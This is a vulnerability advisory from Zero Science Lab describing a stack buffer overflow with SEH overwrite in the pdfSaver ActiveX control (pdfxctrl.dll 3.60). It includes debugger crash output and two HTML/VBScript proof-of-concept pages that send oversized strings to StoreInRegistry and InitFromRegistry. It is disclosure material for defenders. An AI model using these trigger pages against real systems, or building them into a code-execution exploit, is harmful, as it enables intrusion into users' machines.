Tracker Software pdfSaver ActiveX 3.60 (pdfxctrl.dll) Stack Buffer Overflow (SEH)
Vendor:
-------
Tracker Software Products Ltd.
Product web page:
-----------------
http://www.tracker-software.com
Affected version:
-----------------
3.60.0128
Summary:
--------
PDF-Saver Technology is a unique new feature of PDF-XChange software
which allows printing jobs to be combined prior to the final PDF file
being generated - (e.g. to join 3 pages of Excel spreadsheet, 5 slides
of PowerPoint presentation and 10 pages of Word document into one PDF
document).
Description:
------------
The PDF Printer Preferences ActiveX suffers from a buffer overflow
vulnerability. When a large buffer is sent to the sub_path item of the
StoreInRegistry function, and the sub_key item of the InitFromRegistry
function, in pdfxctrl.dll module, we get a SEH overwrite. An attacker
can gain access to the system of the affected node and execute arbitrary
code.
------------------------------------------------------------------------
(1fac.1ea8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0013e9e0 ebx=00000003 ecx=0000008c edx=00001815 esi=0013cd74 edi=0013fffd
eip=7c834d8f esp=0013b75c ebp=0013b780 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206
kernel32!lstrcatA+0x36:
7c834d8f f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> !exchain
0013b770: kernel32!_except_handler3+0 (7c839ac0)
CRT scope 0, filter: kernel32!lstrcatA+45 (7c84086d)
func: kernel32!lstrcatA+49 (7c840876)
0013f1ac: 41414141
Invalid exception stack at 41414141
0:000> d esp
0013b75c 2a 30 00 00 cc 63 18 00-03 00 00 00 5c b7 13 00 *0...c......\...
0013b76c 2a 30 00 00 ac f1 13 00-c0 9a 83 7c a8 4d 83 7c *0.........|.M.|
0013b77c 00 00 00 00 e4 ed 13 00-e7 d8 01 10 e0 e9 13 00 ................
0013b78c 90 b7 13 00 41 41 41 41-41 41 41 41 41 41 41 41 ....AAAAAAAAAAAA
0013b79c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0013b7ac 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0013b7bc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0013b7cc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
------------------------------------------------------------------------
Tested on:
----------
Microsoft Windows XP Professional SP3 (EN)
Vulnerability discovered by:
----------------------------
Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - http://www.zeroscience.mk
Advisory ID:
------------
ZSL-2012-5067
Advisory URL:
-------------
http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5067.php
25.01.2012
PoC (COMRaider):
----------------
<object classid='clsid:2EE01CFA-139F-431E-BB1D-5E56B4DCEC18' id='zsl' />
<script language='vbscript'>
targetFile = "C:\PDF-XChange\pdfSaver\pdfxctrl.dll"
prototype = "Sub StoreInRegistry ( ByVal page_id As PdfPrinterDialogPage , ByVal sub_path As String )"
memberName = "StoreInRegistry"
progid = "pdfxctrlLib.PdfPrinterPreferences"
argCount = 2
arg1=1
arg2=String(6164, "A")
zsl.StoreInRegistry arg1 ,arg2
</script>
--------------------
<object classid='clsid:2EE01CFA-139F-431E-BB1D-5E56B4DCEC18' id='zsl' />
<script language='vbscript'>
targetFile = "C:\PDF-XChange\pdfSaver\pdfxctrl.dll"
prototype = "Sub InitFromRegistry ( ByVal page_id As PdfPrinterDialogPage , ByVal sub_key As String )"
memberName = "InitFromRegistry"
progid = "pdfxctrlLib.PdfPrinterPreferences"
argCount = 2
arg1=1
arg2=String(14356, "A")
zsl.InitFromRegistry arg1 ,arg2
</script>
